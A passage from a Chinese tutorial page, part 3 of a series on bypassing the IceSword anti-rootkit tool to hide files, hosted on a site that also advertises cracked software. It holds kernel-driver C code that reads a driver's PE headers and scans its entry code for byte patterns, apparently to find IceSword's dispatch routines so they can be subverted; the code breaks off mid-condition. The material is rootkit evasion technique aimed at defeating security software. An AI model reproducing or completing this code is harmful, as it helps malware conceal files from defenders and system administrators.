免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 绕过冰刃IceSword隐藏文件(3)

绕过冰刃IceSword隐藏文件(3)

时间:2012-01-05 18:22来源:未知 整理:寂涯网络 点击:


         FILE_ATTRIBUTE_NORMAL,
          FILE_SHARE_READ,
         FILE_OPEN,
         FILE_SYNCHRONOUS_IO_ALERT|FILE_NON_DIRECTORY_FILE,
         NULL,
         0,
         0,
         NULL,
IO_NO_PARAMETER_CHECKING); 
  if (NT_SUCCESS(status))
  {
      byteOffset.LowPart = 0x3C;
   byteOffset.HighPart= 0x0;
status=ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&NtHeadersOffset,4,&byteOffset
,
NULL);
    if (NT_SUCCESS(status))
    {
        byteOffset.LowPart = NtHeadersOffset;
        byteOffset.HighPart= 0x0; 

status=ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&PESignature,4,&byteOffset,
NULL);
     if (!NT_SUCCESS(status))
       return result;
     //不是PE 文件
     if ((WORD)PESignature!=0x4550)
          return result;
     byteOffset.LowPart=NtHeadersOffset + 0x28;
     byteOffset.HighPart=0;
     //得到PE 文件的OEP
status=ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&AddressOfEntryPoint,4,&byt
eOffset,NULL);
     if (NT_SUCCESS(status))
     {
        byteOffset.LowPart = NtHeadersOffset +0x50;
     byteOffset.HighPart = 0;  
              //得到 PE文件装入内存的总大小
status=ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&SizeofImage,4,&byteOffset,
NULL); 
               if (NT_SUCCESS(status))
               {
                   byteOffset.LowPart=NtHeadersOffset + 0x34;
                   byteOffset.HighPart=0;
                   //得到 PE文件的 ImageBase的位置 
status=ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&ImageBase,4,&byteOffset,NU
LL);  
  if (NT_SUCCESS(status))
                   {
                      NeedSize = SizeofImage - AddressOfEntryPoint;
       if (NeedSize<=0)
         return result;
FileContent=ExAllocatePoolWithTag(NonPagedPool,NeedSize,0);
                      if (FileContent)
                      {
                           byteOffset.LowPart=AddressOfEntryPoint;
                           byteOffset.HighPart=0;
//得到 PE从 OEP 开始的代码,因为含有dispatch routine的 RVA
   status =
ZwReadFile(hFile,NULL,NULL,NULL,&iosb,FileContent,NeedSize,&byteOffset,N
ULL);
            if (NT_SUCCESS(status))
            {
               for (i=0;i<=NeedSize;i++)
               {
           if ( (FileContent[i]==0xC7) && (FileContent[i+1]==0x46) &&

本页地址 http://www.jybase.net/biancheng/20120105742.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com